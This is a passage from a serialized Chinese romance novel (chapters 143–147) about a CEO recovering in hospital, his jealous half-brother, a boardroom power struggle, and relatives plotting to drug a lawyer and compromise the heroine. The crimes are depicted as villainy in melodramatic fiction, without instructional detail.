他顿了顿,扯扯嘴角:“况且,他昏迷那会儿,谁叫都没用,跟个活死人似的。要不是后来……” 他没说完,但意思明确。 是她的名字,把他从深渊里硬生生拽了回来。 明嫣不再说话,低头看着傅修沉沉睡的脸,心脏一抽一抽地疼。 …… 傅修沉醒是在后半夜。 麻药过去,伤口的疼痛尖锐地叫嚣起来。 他蹙紧眉,闷哼一声,睁开了眼。 视线先是模糊,然后聚焦在床边趴着的人影上。 明嫣累极了,握着他的手,趴在床边睡着了。 眼下有浓重的青黑,脸颊还带着未干的泪痕。 他目光沉静地看着她,没动,怕惊醒她。 受伤的手臂僵直地放着,另一只手被她枕着,指尖能感受到她温热的呼吸。 宋青州已经走了,病房里只剩他们两人,还有仪器规律的滴答声。 他看了她很久,才极慢地抬起能动的那只手,想去碰碰她的脸。 指尖刚触到她的睫毛,明嫣就惊醒了。 她猛地抬起头,对上他深邃的眼眸。 “你醒了?”她声音带着刚睡醒的沙哑和惊喜,立刻起身按呼叫铃,“有没有哪里不舒服?伤口疼不疼?要不要喝水?” 她一连串的问题砸过来,手忙脚乱。 傅修沉没回答,只是看着她,目光像是要将她吸进去。 他喉结滚动了一下,声音干涩低哑:“哭什么。” 明嫣这才意识到自己又掉了眼泪,慌忙用手背去擦,越擦越多。 他叹了口气,用没受伤的手握住她的手腕,力道不大,却让她无法挣脱。 “别擦了。”他说,指腹轻轻摩挲她的腕骨,“好丑。” 明嫣又气又心疼,想瞪他,眼泪却掉得更凶。 护士很快进来,检查了一下,交代了几句注意事项,又出去了。 病房里再次安静下来。 “过来。”傅修沉说。 明嫣犹豫了一下,靠近床边。 他手臂用力,将她往自己怀里带。 明嫣怕碰到他伤口,不敢挣扎,只能顺着力道,小心翼翼地侧身半躺在他没受伤的那边身侧。 他的怀抱带着浓重的药味和属于他的清冽气息,还有些虚弱,却依旧霸道。 “傅修沉,你的伤……”她不安地动了动。 “别动。”他下巴抵在她发顶,声音从胸腔传来,带着震鸣,“让我抱会儿。” 明嫣立刻不敢动了,僵硬地被他圈在怀里。 “他们欺负你了?”他忽然问,语气听不出情绪。 明嫣鼻子一酸,摇摇头,脸埋在他颈窝,闷闷地说:“没有。” “撒谎。”他低语,手臂收紧,“我都听到了。” 明嫣不再说话,只是更紧地抱住了他精瘦的腰身。 所有的委屈、恐惧、绝望,在这一刻找到了宣泄的出口,化作无声的泪水,浸湿了他的病号服。 他感受到肩头的湿意,眸色沉了下去,像是结了冰的寒潭。 “没事了,我回来了。”他拍着她的背,声音低沉而清冷,“账,一笔一笔算。” 他说得平淡,字里行间却带着血腥气。 明嫣知道,傅家要变天了。 两人都没再说话,静谧在病房里流淌。 他体温偏高,隔着衣料传来,暖得让人想落泪。 明嫣紧绷了几天的神经终于松懈,困意汹涌而来。 傅修沉听着怀里人逐渐均匀的呼吸声,低头看了看。 她睡着了,睫毛还湿着,脸颊贴着他颈窝。 他眸色深沉,掠过她纤细手腕上隐约的指痕——那是刚才在傅家,被保镖拉扯时留下的。 戾气在眼底翻涌,又被他强行压下。 他轻轻调整姿势,让她睡得更舒服些,受伤的手臂僵直地放着,另一只手始终揽着她。 翌日清晨,眼见着傅修沉还没醒,明嫣轻手轻脚出了病房,想去买点粥。 刚走到走廊转角,就撞见了靠在墙边的陆凛。 他脚边一堆烟头,那头金发在昏暗光线下也黯淡了几分。 见她出来,他抬眸看她,眼神复杂。 “我大哥……他怎么样?”他声音有些哑。 “醒了,又睡了。”明嫣看着他,“昨天的事,谢谢你……” “用不着。”陆凛打断她,嗓音低沉。 他盯着她看了几秒,忽然扯了扯嘴角,“现在他回来了,你是不是……很高兴?” 明嫣觉得他这话问得奇怪,但还是点了点头:“嗯。” 陆凛喉结滚动了一下,像是想说什么,最终却只是烦躁地耙了耙头发,从牙缝里挤出一句:“行。” 他转身就走,背影决绝,带着一股说不出的落寞和……仓惶。 明嫣看着他的背影消失在楼梯口,心里腾起一股异样,随即摇了摇头——她在胡思乱想些什么…… 第143章 傅修沉你是在吃醋吗? “刚醒,精神还好。” 明嫣侧身,“进去看看?他刚才还问起你。” 问他? 陆凛心头一阵憋闷。 这座山,果然又回来了。 可他明明有机会的…… 在明嫣最脆弱,最需要依靠的时候,是他陪在她身边。 看她崩溃,看她强撑,看她为了一个渺茫的希望四处奔走。 他骂她,激她,也用他自己的方式守着她。 他甚至卑劣地在心底滋生过那样的念头——如果大哥真的回不来了…… 这念头像毒藤,缠绕着他,既让他自我厌恶,又带着一种堕落的快意。 可现在,傅修沉没死。 那他这段时间的挣扎算什么? 一场笑话。 陆凛心头冷笑。 心底戾气翻涌,但他脸上却没显露分毫,只是懒洋洋地“嗯”了一声,双手插在裤袋里,跟着明嫣往病房走。 推开病房门,消毒水的气味混合着一丝若有似无的血腥气扑面而来。 傅修沉半靠在升起的病床上,脸色依旧苍白,唇色很淡,但那双深邃的眼睛已经恢复了惯有的锐利和清明,此刻正平静地看向门口。 视线先在明嫣脸上停顿一瞬,柔和了微不可察的一度,然后,落到了陆凛身上。 “命挺大。”陆凛先开了口,语气是他惯常的,仿佛这样就能掩盖住心底那些见不得光的东西。 傅修沉眉梢都没动一下,“看来你很失望。” “失望谈不上,”陆凛走到床尾,靠着,长腿交叠,视线扫过他缠着厚厚纱布的手臂,扯了扯嘴角,“就是觉得你命挺硬,炸都炸不死。” 傅修沉没接这话,只淡淡问:“这段时间,没惹事?” 陆凛扯了扯嘴角,带了点惯有的混不吝:“我能惹什么事?天天在小律所里端茶递水,打印跑腿,伺候你未婚妻。” 最后几个字,他说得有些慢,舌尖像是裹着点什么,涩涩的。 明嫣正低头给傅修沉掖被角,闻言动作顿了顿,抬眼看他:“陆凛。” 陆凛迎上她的目光,扯出个笑,带着点自嘲:“怎么,我说错了?明律师使唤我使唤得不是挺顺手?” 傅修沉的目光在两人之间扫了个来回,眸色沉静,没说话。 明嫣忍不住瞪了他一眼,这才扭头看向傅修沉,“你别听他胡说,这段时间……多亏了他。” 陆凛插在裤袋里的手无意识蜷紧。 傅修沉挑了挑眉,视线转向陆凛,带着审视:“哦?” 明嫣继续道,“律所那边,有些难缠的客户,是他出面挡掉的。还有傅家那边来找麻烦,也是他……” 她顿了顿,没提傅承慧拿着东西来羞辱她的事,只含糊带过,“帮了我不少。” 傅修沉何其敏锐,只从她这简短的几句话里,便窥见了那段他缺席时光里的冰山一角。 他看向陆凛,眼神深了些。 陆凛却像是被那眼神烫到,猛地别开脸,下颌线绷紧,语气硬邦邦的:“少往自己脸上贴金,谁帮你了?小爷我是看不惯那些人仗势欺人的嘴脸。” 傅修沉没理会他的嘴硬,只淡淡道:“谢了。” 这两个字从他嘴里说出来,轻飘飘的,却让陆凛心头像是被什么东西狠狠撞了一下,又酸又麻。 他烦躁地耙了耙那头金发,几乎有些狼狈地转开话题,下巴朝傅修沉受伤的手臂扬了扬:“你这伤……没事儿吧?” “死不了。”傅修沉语气依旧平淡。 “啧,”陆凛扯扯嘴角,“祸害遗千年。” 明嫣听着这两人你来我往,气氛似乎比刚才缓和了些,心里稍稍松了口气。 她拿起床头柜上洗好的苹果,低头认真地削皮,细白的手指握着水果刀,动作小心。 傅修沉的目光落在她低垂的眉眼上,看她专注的样子,眼底掠过一丝极淡的柔色。 陆凛靠在墙边,目光也不由自主地落在明嫣身上。 她削得很仔细,果皮连绵不断,垂下来,薄薄的一层。 窗外的光晕染在她侧脸上,睫毛长而密,鼻尖挺翘,嘴唇…… 他猛地移开视线,喉结不受控制地滚动了一下。 心底那股莫名的烦躁又开始升腾,像野草烧不尽。 “陆凛,吃点儿苹果……” 这时,明嫣将削好的苹果切成小块,插上牙签,先递了一块给陆凛。 陆凛垂着眼眸接下。 紧接着,他看见明嫣转身朝傅修沉走去,“你也尝尝……” 傅修沉没接,而是微微低头,就着明嫣的手,咬住了那块苹果。 明嫣的手指纤细白皙,傅修沉的唇色很淡,触碰的瞬间,陆凛只觉得自己的视网膜像是被烫了一下。 然后,他看见傅修沉抬手握住了明嫣递苹果的那只手腕,指尖在她腕骨内侧轻轻摩挲了一下。 动作很轻,很快,快到几乎像是错觉。 但陆凛看见了。 明嫣似乎愣了一下,脸颊微微泛红,轻轻挣了一下,没挣脱,也就由他去了,只是嗔怪地瞪了他一眼。 傅修沉唇角似乎极浅地勾了一下,转瞬即逝。 这一幕,像一把烧红的匕首,狠狠捅进了陆凛的心脏,然后残忍地搅动。 所有的声音都在他耳边远去,只剩下血液冲上头顶的轰鸣声。 那股被他强行压下的卑劣嫉妒,在这一刻如同岩浆般喷涌而出,几乎要将他烧成灰烬。 他猛地站直身体,动作大得带倒了床尾的椅子,发出刺耳的摩擦声。 明嫣和傅修沉同时看向他。 “我突然想起来……”陆凛的声音嘶哑得厉害,他别开脸,避开那两人的目光,下颌线绷得像一块冷硬的石头,“有点急事,先走了。” 他甚至没等回应,几乎是落荒而逃般,猛地转身,一把拉开病房门,大步冲了出去。 “砰!” 门被他重重甩上,发出巨大的声响,在寂静的走廊里回荡。 明嫣被这突如其来的动静吓了一跳,有些愕然:“他怎么了?” 傅修沉看着那扇还在微微震动的门,眸光深沉难辨。 他没回答,反而挑了挑眉问道:“我不在的这几天,他一直跟你在一起?” 明嫣被他问得一怔,点了点头:“嗯,律所那边,多亏他……” “多亏他?”傅修沉打断她,声音听不出情绪,“怎么个多亏法?” 明嫣察觉到他语气里的异样,抬眼看他,对上他深邃的眼眸,那里暗沉沉的,翻涌着她看不懂的情绪。 她忽然福至心灵,明白了什么。 一时间心软得一塌糊涂,又有点好笑。 “傅修沉,”她叫他的名字,声音轻轻的,“你是在吃醋吗?” 第144章 清理门户(加更) 傅修沉盯着她,没承认,也没否认,只是目光沉沉地锁着她,像是要将她吸进去,揉碎了,融进骨血里。 没有人比他更知道她的好…… 他恨不得把她藏起来。 谁也别想窥见…… 半晌,他才开口,声音沙哑:“我不在,他倒是殷勤。” “傅修沉,”明嫣主动凑近些,伸手捧住他的脸,眼底漾着清浅的笑意,“他是你弟弟,你怎么连他的醋都吃?” 傅修沉默默看了她几秒,忽然低头,吻住了她的唇。 这个吻带着不容拒绝的强势,还有一丝不易察觉的焦躁和不安。 他吮吸着她的唇瓣,舌尖撬开她的齿关,深入,纠缠,带着一种近乎掠夺的意味。 明嫣被他吻得猝不及防,呜咽了一声,手下意识抵在他胸膛,又怕碰到他伤口,不敢用力。 “唔……你的伤……”她含糊地抗议。 傅修沉微微撤离,额头抵着她的,呼吸灼热,喷洒在她脸上。 “不影响。”他嗓音低哑,带着未散的情动。 动作间,他小心避开了受伤的手臂,但侵略性丝毫不减。 意乱情迷间,明嫣听见他在她耳边喘息着低语: “叫老公。” “……” “以前教的,忘了?” “……” 明嫣脸颊爆红,羞恼地瞪他,却在撞进他深邃含笑的眼眸时,心跳漏了不止一拍。 ——骚死他算了! …… 而此时的陆凛几乎是逃离了医院。 他坐进车里,引擎发出暴躁的轰鸣,车子猛地蹿了出去,汇入车流。 他开得极快,窗外的景物飞速倒退,模糊成一片虚影。 可无论车速多快,脑海里那张脸却始终清晰。 他猛地一拳砸在方向盘上,刺耳的喇叭声长鸣,引来周围车辆的侧目和不满的闪光。 “操!” 他低骂一声,胸口剧烈起伏,眼底翻涌着浓稠的,化不开的阴郁。 他不能再待下去了。 看着他们亲密,看着她在别人怀里。 每一秒都是煎熬。 一个念头疯狂地滋生出来——他当初就不该回国! 他拿出手机,几乎是没有任何犹豫,拨通了一个号码。 “高岚,给我订一张国外的机票,越快越好。” “啊,凛哥你要去哪里?” “随便。” 他挂了电话,将手机扔在副驾驶座上,目光直视前方,眼神空洞而冰冷。 有些不该有的念头,就该彻底掐灭。 有些不该动的心,就该永远埋藏。 他陆凛,拿得起,放得下。 只是心口那块地方,为什么像是破了一个大洞,冷风呼呼地往里灌,又空,又疼。 …… 傅修沉在医院只待了三天。 第三天下午,他拔了输液针,换上了西装。 深灰色,剪裁利落,遮住了他手臂上还缠着的厚重纱布,也遮住了几分病气,只余下眉眼间的清癯冷峻。 明嫣推门进来时,他正对着病房附带的穿衣镜整理袖口。 “你……” “出院。”傅修沉没回头,从镜子里看她,言简意赅。 明嫣的眉头微皱,“医生说你至少需要观察一周,你……” 傅修沉转过身,他的脸色依旧比常人白些,唇色也淡,但那双眼睛已经恢复了惯有的深邃沉静,甚至更添了几分冷冽。 “我没事。”他抬手,指尖拂过她蹙起的眉间,动作很轻,唇角微微上扬,连带着嗓音都柔和了不少,“有些事,一直在医院处理不了。” 明嫣自然知道他在说什么,但还是有些担心。 “放心……”似是知道她要说什么,傅修沉轻笑了一声,反手握住她的手指,捏在掌心,“已经让他们蹦跶得够久了,你要不要跟我一起去?” 明嫣不由得一怔,“去哪儿?” “回公司,”他牵着她的手往外走,“清理门户。” 傅修沉没有提前通知,黑色宾利直接驶入地下车库。 总裁专用电梯直通顶层。 而此时的顶层会议室里,承平正坐在主位,唾沫横飞地主持所谓‘战略会议’。 傅承慧在一旁时不时地帮腔,脸上是掩不住的得意。 门被推开。 傅修沉走进来,深灰色西装衬得他脸色有些苍白,但眼神锐利如鹰隼,扫过全场,最后落在主位。 会议室瞬间死寂。 傅承平脸上的血色‘唰’地褪去,手中的文件滑落在地。 一旁的傅承慧更是猛地站起,椅子腿刮擦地面发出刺耳声响,满脸惊骇。 “你……修沉?你……你怎么……”傅承平语无伦次。 傅修沉没理他,走到主位前,停下,眸色淡淡地看着傅承平。 只一眼。 傅承平像是被烫到,几乎是手脚并用地从那个位置上弹开,额头瞬间布满冷汗。 傅修沉坐下,单手搭在扶手上,指尖轻点。 “继续。”他开口,声音不高,却清晰地传遍每个角落。 没人敢说话。 他微微侧头,看向一旁呆若木鸡的财务总监:“上季度北美区的临床试验数据,汇报。” 总监一个激灵,连忙翻找文件,结结巴巴地开始念。 傅修沉垂眸听着,偶尔打断,问出的问题精准刁钻,直指核心。 几个被他点名的部门负责人,无不冷汗涔涔,答得漏洞百出。 他甚至不用发火,只是坐在那里,偶尔抬眸一瞥,无形的压迫感便让那些曾在傅承平手下阳奉阴违,甚至暗中投靠的人,如同被剥光了衣服,无所遁形。 不过半小时,整个跃华生物过去一段时间积压的问题和被刻意掩盖的疏漏,几乎被他梳理了一遍。 傅承平和傅承慧僵立在旁边,脸上一阵红一阵白。 他们这才惊觉,即便傅修沉消失了这么久,他对跃华的掌控,早已渗透到每一个数据和流程里,根深蒂固,绝非他们能够撼动。 他想收回,不过是一句话的事。 “看来,”傅修沉听完最后一项汇报,指尖在桌面敲了敲,语气淡漠,“我不在的这段时间,公司运营‘成果显著’。” 他抬眼,看向面如死灰的傅承平:“二叔,辛苦了。从现在起,你可以休息了。” 又转向傅承慧:“小姑也是。” 轻描淡写,夺权罢免。 绝对的掌控力,无需疾言厉色,已让人溃不成军。 傅承平脸色灰败,他满脸不甘地咬了咬牙,到底挤出了一丝笑意,“修沉……我物色了一位顶尖的法律顾问,能力绝对在周慕言之上,以他的能力和资历,足以胜任跃华的法律顾问。” 傅修沉抬眸,眼神没什么温度,等着他的下文。 傅承平深吸一口气,吐出那个名字: “霍寒山。” 话音落下,会议室落针可闻。 明嫣站在傅修沉身后,指尖几不可察地蜷缩了一下,下意识地看向傅修沉…… 第145章 求而不得,心生妄念 傅修沉眼皮都没抬,唇角勾起一丝冷笑,“跃华的法务不劳二叔挂心。” 傅承平像是早料到他会拒绝,一脸苦口婆心道,“修沉,我知道你对周慕言信任有加,但霍律师在涉外知识产权方面是顶尖的,有他加入,对跃华生物有大助益。” 他顿了顿,意有所指地瞟了一眼明嫣,“而且,霍律师和明嫣也是旧识,合作起来想必更……默契。” 这话里的刺,太明显。 明嫣眉头蹙起。 傅修沉终于抬眸,目光像淬了冰的刀锋,缓缓刮过傅承平的脸。 “二叔,”他身体微微前倾,手肘撑在桌面,“我的公司,还轮不到你指手画脚。” “至于霍寒山,”他扯了扯嘴角,那弧度冷得没有一丝温度,“让他滚。” 三个字,掷地有声。 傅承平脸上的假笑彻底僵住,眼底闪过一丝阴鸷。 他没想到傅修沉连表面功夫都懒得做,直接撕破脸。 “好……好……”傅承平咬着后槽牙,从牙缝里挤出声音,“既然你执意如此,那我也不多说了。只希望你别后悔!” 他猛地起身,椅子腿在地面划出刺耳噪音,带着傅承慧,灰头土脸地摔门而去。 会议室里死寂片刻,其他高管更是噤若寒蝉,大气不敢出。 …… 傅承平回到别墅,一把摔了玄关的青瓷花瓶。 碎瓷四溅,映出他扭曲的脸。 “好个傅修沉……”他扯开领带,眼底阴鸷,“既然你不仁,就别怪二叔心狠。” 他扭头看向傅承慧,“怎么样,让你联系的人都联系好了吗?” 傅承慧跟在他身后,惴惴不安,“二哥,我们……我们真要这么做?修沉他才刚回来,手段你看到了,万一……” “万一什么?”傅承平猛地转身,眼神狠戾,“等他腾出手来,把我们彻底踩死吗?他现在断了我所有的路,跃华一点边都不让我沾!我不动手,难道等着他把我扫地出门,去喝西北风?!” 他喘着粗气,胸口剧烈起伏,“他傅修沉就算再厉害,也有软肋,他那颗心,硬得跟石头似的,唯一的缝就拴在明嫣那个丫头身上!” 傅承慧还是有些害怕:“可……可绑架这是犯法的啊!要是被修沉知道……” “谁说是绑架?”傅承平阴冷一笑,“是霍寒山霍大律师求而不得,心生妄念,这才走了极端,跟我们有什么关系?” “可是……” 他没再听傅承慧说什么,直接掏出手机,翻到霍寒山的号码,拨了出去。 很快电话接通。 “霍律师,考虑得如何了?” 傅承平走到窗边,看着外面沉沉的夜,“你我联手,各取所需。你要明嫣,我要傅修沉低头认输。事成之后,跃华法务部的位置,我给你留着。” 那头沉默片刻。 “……你保证,”霍寒山的声音嘶哑干涩,带着破釜沉舟的决绝,“不能伤害她。一根头发都不能。” 傅承平嘴角勾起一抹得逞的弧度,语气却无比真诚:“当然。我只是给霍律师创造一个……和明嫣单独谈谈,解开误会的机会。地点在城南我名下的一处公寓,很安全……” “……好。”霍寒山闭了闭眼,从喉骨里挤出这个字。 挂了电话,傅承平脸上的笑容瞬间消失。 他招手叫来心腹,低声吩咐:“去城南公寓布置好,隐蔽摄像头装到位,再去弄点‘好东西’……” 傅承慧在一旁听得心惊胆战:“二哥,什么‘好东西’?你不是答应霍寒山不伤害明嫣吗?” “妇人之仁!”傅承平不耐烦地瞪了她一眼,“不下一剂猛药,怎么让霍寒山彻底被我们拿捏?等他‘碰’了明嫣,视频在手,他还敢不听我们的?到时候,让他去咬傅修沉,他敢不去?” 他眼底掠过一丝狠毒。 既然要玩,就玩把大的。 两人在书房低声商议着恶毒的计划,却没注意到,虚掩的房门外,一道身影悄然离开…… …… 而与此同时,霍寒山捏着刚刚挂断的手机,眼底满是复杂。 傅承平的话像魔咒,在他脑子里盘旋。 ——各取所需。你要明嫣。 他要明嫣。 只要一想到明嫣在傅修沉身边的样子,他的心脏就像被毒藤绞紧,窒息般的疼。 他掏出手机,屏幕上是多年前的旧照。 照片上的明嫣穿着学士服,靠在他怀里,笑得眉眼弯弯。 那时她眼里全是他。 凭什么? 就因为他错过了一次,傅修沉就能后来居上? 他甚至……可以为她去死! 霍寒山站在落地窗前,指间的烟燃了半截,灰烬簌簌落下。 手机屏幕还停留在与傅承平的通话记录。 最后一条信息,是傅承平发来的地址。 他闭上眼,眼前晃过明嫣的脸。 他掐灭烟,火星烫到指尖,细微的刺痛。 ——最后一次。 他告诉自己。 就这最后一次。 若她还是不回头…… 他喉结滚动,咽下那点苦涩。 那就彻底退出她的人生。 …… 翌日清晨,江南笼罩在一场淅淅沥沥的冬雨里,天色灰蒙,空气湿冷。 明嫣踏入嫣然律所时,身上还带着室外的寒气。 她脱下被雨丝浸湿了肩头的大衣,习惯性地抬眼扫向靠窗的那个工位—— 空的。 桌面收拾得异常整洁,连那盆他随手丢在那儿,半死不活的绿萝也不见了踪影。 只有椅背上随意搭着的一件黑色机车风衣。 她心头掠过一丝异样,陆凛虽然散漫,但从不迟到。 “陆奉归。”她扬声。 陆奉归正抱着一摞卷宗从茶水间出来,闻声快步走近:“老板,早。” “陆凛呢?”明嫣朝那空位抬了抬下巴,“还没来?” 陆奉归愣了一下,“陆凛?他没跟您说吗?他辞职了,说是要出国,早上的飞机。” 辞职? 出国? 这么突然? 她摸出手机,找到陆凛的号码拨过去。 听筒里传来漫长的忙音,无人接听。 而此时陆凛名下的公寓里,一片狼藉。 陆凛赤着上身,只穿了条迷彩工装裤,正把最后几件衣服胡乱塞进一个巨大的黑色行李箱。 那头标志性的金发被他用发带随意箍住,额角渗出细密的汗珠,随着他的动作,勾勒出流畅而充满力量感的肌肉线条。 手机在床头柜上顽固地震动着,屏幕上闪烁着‘明嫣’两个字。 他动作没停,甚至没看一眼,任由它响到自动挂断…… 第146章 生米煮成熟饭 陆凛最后扫视了一圈这间公寓,这里几乎没留下什么他生活过的痕迹。 黑色行李箱的拉链“唰”地一声被利落拉上。 他当即拖起行李箱,头也不回地走向门口。 他原本没打算告别。 可鬼使神差地,油门一踩,方向却是傅承慧如今住着的别墅方向。 或许心底那点残存的血缘作祟,终究做不到不告而别。 而此时的别墅偏厅,傅承慧正焦躁地踱步,手里攥着手机,像是热锅上的蚂蚁。 陆凛放轻脚步,无声地靠近。 虚掩的门缝里,传来傅承慧压得极低却难掩狠厉的声音。 陆凛脚步顿住,眉头下意识蹙起。 他母亲很少用这种语气说话。 “……二哥,咱们真要这么干吗?你的药确定有用吗?要不要给明嫣也下点儿?我担心霍寒山万一不配合,再让明嫣那死丫头跑了怎么办?” 陆凛的血液仿佛在瞬间冻结! 他下意识地贴近门缝,屏住了呼吸。 电话那头傅承平的声音透过听筒隐约传来,带着狠厉和不耐:“不然呢?等傅修沉彻底清算我们吗?小妹,你可别忘了,当初给他酒里下毒的人可是你……” 傅承慧不由得薄唇紧抿。 “好了,你放心,就算真的出事,也有霍寒山在前面顶着!人我已经安排好了,就在城南那套空公寓,只要得手,拍了视频和照片,傅修沉敢不听话?” “可是……” “没有可是!小妹,想想陆凛!傅修沉一旦彻底掌权,还有我们母子的活路吗?你甘心看着你儿子永远被他压一头?” 傅承慧沉默了,呼吸急促。 门外的陆凛,拳头已然攥得死紧,手背上青筋暴起,眼底瞬间布满了骇人的红血丝! 一股冰冷的戾气从他周身炸开! 他猛地转身,甚至来不及多想,一边掏出手机拨打明嫣的号码,一边朝着别墅外冲去。 “接电话!明嫣!快接电话!” “嘟——嘟——嘟——” 漫长的忙音,每一声都像重锤砸在他心上。 无人接听。 再拨,依旧无人接听。 他急得眼睛都红了,下意识地攥紧了拳头,手背上的青筋暴起。 为什么不接电话?! 是在律所忙,还是……已经出事了?! “操!”他狠狠骂了一句,眼底是前所未有的惊慌和暴怒! 跑车引擎发出震耳欲聋的咆哮,车子如同离弦之箭,朝着城南方向狂飙而去。 此时的他满脑子就只有一个念头——快! 再快一点! 绝不能让那些人碰她一根头发! …… 与此同时,城南那套隐秘的高级公寓内。 霍寒山有些焦躁地踱步。 客厅里只开了一盏暖黄的壁灯,光线暧昧不明。 空气中弥漫着一丝若有似无的香薰味道。 傅承平坐在沙发上,好整以暇地品着一杯红酒,看着坐立不安的霍寒山,嘴角勾起一抹不易察觉的冷笑。 “傅先生,明嫣她……什么时候到?”霍寒山终是忍不住,开口问道,声音带着一丝干涩。 “急什么?” 傅承平晃着酒杯,语气悠闲,“霍律师放心,我答应你的事,自然会办到。以后,你可要好好‘对待’我们明律师。” 他话里有话,可霍寒山却没有听出来。 这时,傅承平的手机震动了一下,他看了一眼,随即站起身,拿起酒瓶又给霍寒山倒了一杯,“来,霍律师,预祝我们……合作愉快,也预祝你,得偿所愿。” 霍寒山此刻心乱如麻,并未多想,接过酒杯,与傅承平碰了一下,仰头一饮而尽。 辛辣的液体滑过喉咙,却没能压下他心头那股莫名的不安和……隐隐升腾的燥热。 傅承平看着他喝下酒,眼底闪过一丝得逞的精光。 “我还有点事,先走一步。你在这里……慢慢等。”他拍了拍霍寒山的肩膀,笑容意味深长,随即转身离开。 公寓门“咔哒”一声关上,隔绝了外面的世界。 霍寒山独自留在空旷的客厅里,那股燥热感越来越明显,像是有无数细小的火苗在血管里窜动,心跳也开始失控地加速。 他扯了扯领带,呼吸变得急促。 不对劲! 这酒…… 霍寒山猛地意识到什么,脸色瞬间变得惨白! 是那杯酒! 傅承平在酒里下了东西! 一股巨大的屈辱和愤怒涌上心头! 他以为自己是在博弈,是在争取最后的机会,却没想到从一开始就落入了傅承平设下的圈套! 他成了他们用来打击傅修沉的一颗棋子,一个龌龊的工具! “呃……”他难受地闷哼一声,扶住冰冷的墙壁,额头上沁出大颗大颗的汗珠,呼吸变得急促而滚烫。 理智在药物的作用下摇摇欲坠,身体里咆哮的野兽几乎要冲破牢笼。 不能! 他不能这样! 就算他再想要明嫣,也绝不是以这种方式! 这是毁了她,也是彻底毁了他自己! 残存的理智让他死死咬住牙关,指甲深深掐进掌心,试图用疼痛来保持清醒。 他跌跌撞撞地朝着浴室的方向挪去。 冷水! 他需要冷水! 或者把自己锁起来! 无论如何,他不能在她来的时候,以这种面目出现! 就在他艰难地摸到浴室门把手,几乎要拧开的时候—— 公寓的门,突然被人从外面打开了。 一道纤细的身影被推了进来,力道不大,却足以让来人踉跄了一下。 一阵熟悉的馨香若有似无地飘了过来,钻入他被药物控制的敏锐嗅觉。 是明嫣常用的那款香水…… 白桃与琥珀的尾调…… 霍寒山猛地回头,模糊的视线里,映入一张带着些许惊慌和关切的脸。 光线有些暗,他看不真切,但那隐约的轮廓,那纤细的身影…… “霍寒山?你……怎么了?”一个女人的声音响起,带着几分关切,嗓音……听起来有些模糊的熟悉感。 “别……别过来……”霍寒山从喉咙里挤出破碎的警告,身体却不受控制地颤抖起来,渴望像藤蔓一样疯狂缠绕住他的心脏和四肢。 那女人似乎走近了些,带着担忧:“你哪里不舒服?” 一只微凉柔软的小手试探性地抚上了他滚烫的额头。 那触感,像是一点火星坠入了油库! 是明嫣! 是她来了! 第147章 我会对你负责的(加更) 这个念头如同最后一根稻草,彻底压垮了霍寒山紧绷到极致的神经! “呃……”霍寒山喉间溢出一声痛苦又渴望的低吼,紧绷的理智之弦在这一刻彻底崩断! 他猛地伸出手,一把将眼前的女人死死地搂进了怀里! 那柔软温热的触感,那萦绕在鼻尖的香气,让他疯狂! “放开!霍寒山你干什么!放开我!”怀里的女人惊慌地挣扎起来,声音里带上了哭腔和恐惧。 这抗拒的声音更是刺激了霍寒山,他把她抱得更紧,仿佛要将她揉碎进自己的骨血里,滚烫的唇胡乱地落在她的发顶、颈侧。 气息灼热而混乱。 “明嫣……嫣嫣……别怕……”他语无伦次地呢喃着,像是在安慰她,又像是在说服自己,“我会负责的……我会对你负责的……别离开我……” 他听见怀里的哭泣和挣扎,但那声音仿佛隔着一层浓雾,变得遥远而不真切。 身体的本能彻底主宰了他,他抱着她,踉跄着向后倒去…… …… 跑车引擎的嘶吼,轮胎在路面刮出刺耳鸣叫。 陆凛眼底血红,城南公寓的轮廓在挡风玻璃前越来越清晰。 楼下,傅承平倚着车门,指间烟火在灰蒙雨色里明明灭灭。 看见那辆熟悉的跑车疯子般冲来,他眉头狠狠一拧,扔了烟蒂,朝暗处打了个手势。 “拦住他!” 几道黑影立刻从角落扑出,直冲向堪堪停稳的跑车。 陆凛踹开车门,一头金发被汗水浸湿,湿漉漉贴在额角,更衬得那双眼睛戾气骇人。 他看也不看围上来的人,径直往公寓楼里冲。 “陆少,留步。”为首的黑衣壮汉伸手拦他。 回答他的是陆凛兜面砸来的拳头! 又快又狠,带着破风声。 壮汉猝不及防,鼻梁骨发出令人牙酸的脆响,惨叫都没来得及发出,仰面倒地。 另外几人见状,一拥而上。 陆凛像头被彻底激怒的困兽,招式毫无章法,全是不要命的打法。 手肘,膝盖,甚至头槌,全是往人最脆弱的地方招呼。 鲜血从他额角裂开的伤口淌下,模糊了视线。 陆凛像不知疼痛的野兽,喉咙里发出压抑的低吼,那双总是带着桀骜不驯的眼睛此刻只剩下全然的暴戾和疯狂。 有人一拳捣在他肋下,他闷哼一声,嘴角渗出血丝,却连眉头都没皱一下,反手就扣住那人的手腕,用力一折! 骨头错位的令人牙酸的声音清晰可闻。 又有人一脚踹在他腿弯,他踉跄一下,单膝跪地,下一秒却借着跪地的力道,一个扫堂腿将那人重重放倒,随即扑上去,拳头如同雨点般砸落! 他打得毫无章法,却招招致命,那股不要命的架势竟一时将这群训练有素的打手都震慑住了。 可双拳难敌四手。 更何况是七八个身手不弱的专业保镖。 一根甩棍带着风声狠狠抽在他的背脊上! “呃!”陆凛身体猛地一僵,剧痛让他眼前发黑,喉头涌上一股腥甜。 紧接着,腹部又挨了沉重的一击! 他哇地吐出一口血,身体晃了晃,几乎要栽倒。 视线开始模糊,耳边是嗡嗡的鸣响,世界仿佛在天旋地转。 “妈的,这小子疯了!”有人低骂。 拳脚如同雨点落在他背上、肩上,他不管不顾,只死死盯着公寓楼那扇紧闭的玻璃门。 喉咙里涌上腥甜,被他强行咽下。 脑子里只有一个念头——进去!快进去! 他不能让她出事。 绝不能。 傅承平站在雨里,冷眼瞧着。 陆凛那副拼命的架势,倒真让他带来的人有了几分迟疑。 到底是傅家的孙少爷,真打残了,谁也担待不起。 混战中,陆凛又挨了几记重击,嘴角破裂,鲜血顺着你下巴往下流。 他晃了一下,单膝跪地,用手撑住地面,才没彻底倒下。 额头的血顺着睫毛滴落,在地上晕开一片刺目的红。 他抬起头,透过猩红的视野,死死瞪向傅承平,那眼神像是要吃人。 傅承平与他对视片刻,忽然扯了扯嘴角,抬手看了眼腕表。 时间,差不多了。 他慢悠悠挥了下手。 “让他上去。” 围着陆凛的人立刻散开。 陆凛撑着膝盖,艰难站起,每呼吸一次,胸腔都针扎似的疼。 他抹了把脸上的血,跌跌撞撞冲向玻璃门,用肩膀狠狠撞开! 电梯数字缓慢跳动。 “叮——” 门开。 